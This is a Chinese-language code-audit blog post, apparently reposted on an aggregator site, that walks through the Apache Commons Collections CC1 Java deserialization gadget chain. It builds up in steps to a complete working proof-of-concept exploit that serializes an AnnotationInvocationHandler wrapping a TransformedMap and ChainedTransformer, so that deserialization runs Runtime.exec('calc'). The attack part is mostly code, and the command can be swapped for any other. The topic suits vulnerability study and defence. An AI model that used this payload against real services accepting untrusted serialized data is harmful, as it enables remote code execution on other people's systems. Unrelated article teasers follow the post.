Java反序列化 - CC1链 (代码审计)

news/2024/10/22 9:05:42

R### 一、环境准备:

Java环境:Java_1.8.0_8u65
Apache Commons Collections 3.2.2版本

二、漏洞简述:

cc链是Apache commons collections反序列漏洞利用链的简称。可以通过构造恶意类,利用Java反序列化漏洞进行RCE。

漏洞复现:

CC1链源头:org.apache.commons.collections.Transformer#transform 中的 Transformer接口。
image

1、触发RCE的利用点:

(1) 查看哪些类实现了 Transformer接口,跟进 InvokerTransformer类:
image

InvokerTransformer类中实现并重写了 transform()方法:
image

其中 iMethodName,iParamTypes,iArgs三个参数可以通过 类InvokerTransformer公有构造函数来进行控制:
image

由此可以构造出一条RCE的链子:

import org.apache.commons.collections.functors.InvokerTransformer;public class InvokeTransformerRCE {public static void main(String[] args) {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});invokerTransformer.transform(r);}
}// Class cls = input.getClass()  --> Runtime.getRuntime().getClass() --> cls表示Runtime类的一个对象//获取Runtime类中的exec方法
// Method method = cls.getMethod(this.iMethodName, this.iParamTypes) --> cls.getMethod("exec", new Class[]{String.class})//进行命令执行
//exec.invoke(Runtime.getRuntime(), "calc") --> Runtime.getRuntime().exec("calc");

image

2、利用链:

(一) 跟进 transform()方法,查看其在哪些地方被调用,其中 transformedMap类中的checkValue()方法调用了transform():
image

分析 checkValue()方法,可以看到结果返回 valueTransformer的transform方法,向上查找 valueTransformer是否可控。通过查找得知 valueTransformer 在 TransformedMap方法中被赋值:
image

但是 TransformedMap方法的属性为 protected,这导致该方法只有内部类可以进行访问调用,继续向上查找,可以看到在decorate()方法中调用了该方法,并且属性为public,valueTransformer值可控:
image

由此形成了一条利用链:

decorate(map, null, invokeTransformer)方法 --> TransformedMap()方法 --> valueTransformer = invokeTransformer -> checkSetValue()方法 --> invokeTransformer.transform(value)

(二) 但是 checkSetValue(Object Value)方法的属性为 protected,这也代表着 checkSetValue只能被内部类访问调用,这就需要查找 checkSetValue()方法在哪些地方被调用:
image

image

IDEA提示 字类TransformedMap 中的 checkSetValue()方法实现了 父类AbstractInputCheckedMapDecorator 中的方法,跟进,发现 TransformedMap 中的 checkSetValue()方法 实现了父类中的 checkSetValue()抽象方法:
image

并且 父类AbstractInputCheckedMapDecorator中的 副类MapEntry中的 公有属性的setValue()方法调用了checkSetValue()方法:
image

副类MapEntry中的 setValue()方法重写了 AbstractMapEntryDecorator中的 checkSetValue()方法:
image

image

类AbstractMapEntryDecorator中的 setValue方法实现了 接口Map.Entry中的 setValue方法:
image

image

image

由此形成了一条利用链:

进行Map键值对遍历 --> 调用 setValue()方法 --> 由 setValue()方法来调用checkValue()方法

image

由此可以进行命令执行:

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class TransformedMapRCE {public static void main(String[] args) {Runtime r = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object, Object> map = new HashMap<>();map.put("key", "value");//赋值-->valueTransformer = invokerTransformerMap<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);//遍历Map常用格式for(Map.Entry<Object, Object> entry : transformedMap.entrySet()) {entry.setValue(r);}}
}

image

(三) 由上述分析已经得知遍历Map->entry.setValue()会造成RCE,则查找哪些地方调用了 setValue()方法,并控制参数值即可,跟进 AnnotationInvocationHandle类:
image

来到漏洞产生的位置,AnnotationInvocationHandler类中重写了 readObject()方法,并且进行了Map遍历并使用了 memberValue.setValue()方法,那么只需要 memberValues可控即可:
image

跟进 memberValues,可知 memberValues在类AnnotationInvocationHandler的构造函数中被赋值,但是AnnotationInvocationHandler的构造方法没有声明public等属性,所以该构造方法的属性为default,只能在本包(sun.reflect.annotation)中被调用,所以利用Java反射机制来调用该构造方法并进行赋值:
image

利用Java反射机制调用其构造方法:

//获取AnnotationInvocationHandler类
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取AnnotationInvocationHandler类的构造方法Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);//提升权限annotationInvocationHandlerConstructor.setAccessible(true);//实例化对象,并给 memberValues赋值,使其可控Object object = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);

并且类AnnotationInvocationHandler 实现了Serializable接口,可以直接进行序列化与反序列化,所以可以先序列化其实例对象,然后进行反序列化,通过利用类AnnotationInvocationHandler重写的 readObject()方法实现RCE。

故初步完整的利用链POC代码如下所示:

public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});HashMap<Object,Object> map=new HashMap<>();map.put("key","value"); //给map一个键值对,方便遍历Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);// 相当于提升自己权限,以便可以访问非公共构造函数constructor.setAccessible(true);//这里第一个是参数是注解的类原型,第二个就是我们之前的类// 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例// 传递Override.class和decorate两个参数给构造函数Object o = constructor.newInstance(Override.class, transformedMap);serialize(o);  //序列化unserialize("CC1.txt"); //反序列化}//定义序列化方法
public static void serialize(Object object) throws Exception{ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));oos.writeObject(object);
}//定义反序列化方法
public static void unserialize(String filename) throws Exception{ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();
}

(四) 但是这段POC并不是完整的正确的POC,因为有三个利用条件上述POC并未满足:

(1) Runtime类并未实现Serializable接口,不可以被序列化:
image

但是Runtime的原型类实现了 Serializable接口,可以利用Java反射来调用 Runtime:

//获取 getRuntime()方法
//其中 Runtime.class -> java.lang.Runtime,Runtime.class.getClass() -> java.lang.Class
//最终调用为 java.lang.Class.getMethod("getDeclaredMethod", new Class[]{String.class, Class[].class}).invoke(Runtime.class, "getRuntime") --> Runtime.class.getDeclaredMethod("getRuntime", null) --> Runtime.getRuntime()
Method getRuntime = (Method) new InvokerTransformer("getDeclared", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);//获取 Runtime实例
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);//执行命令RCE
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

image

但是上述写法略显冗余,可以通过调用 ChainedTransformer类中方法来实现简化。ChainedTransformer类实现了Transformer, Serializable两接口,符合条件:
image

类中构造函数 ChainedTransformer(Transformer[] transformers)接受一个数组作为参数,然后重写 transform()方法对数组使用 for循环来实现逻辑:
image

利用 ChainedTransformer类来简化 Java反射Runtime的代码:

Transformer[] transformers = new Transformer[]{new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(runtimeClass);

image

(2) 符合类AnnotationInvocationHandler重写的 readObject()方法中执行memberValue.setValue()前的两个if条件语句:
image

在 readObject()方法处下断点,发现未通过第一个 if条件的限制,原因为 memberType为空:
image

annotationType = AnnotationType.getInstance(type); 中的 type由构造函数传值,值为 Override.class:
image

annotationType = AnnotationType.getInstance(type); 获取 Override注解的实例 -->
Map<String, Class> memberTypes = annotationType.memberTypes();用于获取注解的所有成员及其类型的映射 --> Class memberType = memberTypes.get(name); 用于查看名为 name 的成员在在 memberTypes中是否存在

跟进 Override注解,可以看到注解中的成员为空,所以导致了 memberType 恒为 null,从而导致无法通过第一个 if 条件的校验:
image

所以不能使用成员为空的 Override注解,换用 Target注解:
image

修改如下:
image

更换后重新进行调试,此时已经可以通过两个 if 条件的校验。

(3) 虽然解决了 (1) 和 (2) 两个问题,但是依然存在关键的一步问题,就是 setValue()方法中的参数此时不是理想值,因为 readObject()方法中提前写好了 setValue()的参数值,此值用户不可控。

可以通过利用 ConstantTransformer中的构造方法与 transform方法来解决:
image

image

最终 CC1链的完整POC如下:

public static void main(String[] args) throws Exception {Class<?> runtime = Class.forName("java.lang.Runtime");//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历Transformer[] Transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);HashMap<Object, Object> map = new HashMap<>();map.put("value", "value");Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true);Object object = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);serialize(object);unserialize("CC1.txt");}//定义序列化方法public static void serialize(Object object) throws Exception{ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));oos.writeObject(object);}//定义反序列化方法public static void unserialize(String filename) throws Exception{ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));objectInputStream.readObject();}

成功RCE:
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/74504.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

PbootCMS网站怎么修改HTML模板文件

修改HTML文件连接FTP服务器:使用FTP客户端连接到你的服务器。定位模板文件夹:导航到 /template/你的模板名称/ 目录。 找到需要修改的HTML文件。编辑HTML文件:下载需要修改的HTML文件到本地。 使用文本编辑器打开并修改HTML文件。 例如,修改某个段落的文本:html<p>这…

大型零售连锁企业如何进行 合理的经销商文件发放管理?

大型零售连锁企业在市场经济中扮演着重要角色,为了业务能正常有效开展,大型零售连锁企业需要与其经销商进行频繁的业务交流和合作沟通,在这个沟通基础上,会产生大量的文件交换需求,其中,大型零售连锁企业需要外发许多文件到下游诸多经销商,包括: 经销商合作协议:这是双…

zlibrary网站镜像,2024年国内可访问地址持续更新

Z-Library是一家广受欢迎的电子图书馆,拥有庞大的电子书资源,被誉为全球最大的免费电子书网站之一。其数字档案库涵盖了超过千万本书籍,包括各种学科领域的经典名著、学术著作、小说等,用户可以在此免费下载所需的电子书。该图书馆的功能十分强大,拥有一个像Google一样的搜…

真假名表区别,积家月相大师

左边为正品。画蓝色的为区别点。https://www.bilibili.com/video/BV1gFsreHELn?spm_id_from=player_end_recommend&vd_source=0467b2aa1e0f8991e5b75f0e8b85862c

移动端页面字体在微信被放大,导致排版错乱

微信在iOS和Android平台上对网页字体大小的调整机制不同,需要分别处理。以下是如何在PBootCMS中实现这一功能的详细步骤: 1. 阻止iOS平台上的字体放大 在PBootCMS的模板文件中,找到header.html文件(通常位于/template/你的模板名称/目录下),并在<head>标签内添加以…

AES初探

AES为分组密码,每次加密一组数据 使用不同长度的密钥,加密的轮数也不同加密公式C = E(K,P) 下面介绍加密轮函数的四个操作:字节代换、行位移、列混合、轮密钥加 以AES-128为例 字节代换 字节代换通过S盒进行一个查表映射的方式,将明文字节映射成S盒中的字节 映射逻辑是这样…

自建互联网档案馆「GitHub 热点速览」

这两天北京的气温骤降,仿佛在提醒我们冬日的脚步已悄然而至,让人不禁感叹时间的飞逝,一年的时间“转瞬即逝“。 如果你想留下互联网上的珍贵瞬间,避免它们消失在 404 错误中。这款开源的网页存档平台 ArchiveBox 是一个不错的选择,它能够让你轻松构建私人互联网/网页档案馆…

生产车间工人违规行为智能识别解决方案

生产车间工人违规行为智能识别解决方案基于神经网络建模推理技术,生产车间工人违规行为智能识别解决方案通过对工人行为进行精准分析,实现对违规行为的检测和识别。系统通过类比脑神经系统及脑认知原理,将人体关键部位骨骼点与预设的标准训练动作目标点相结合进行深度逻辑判…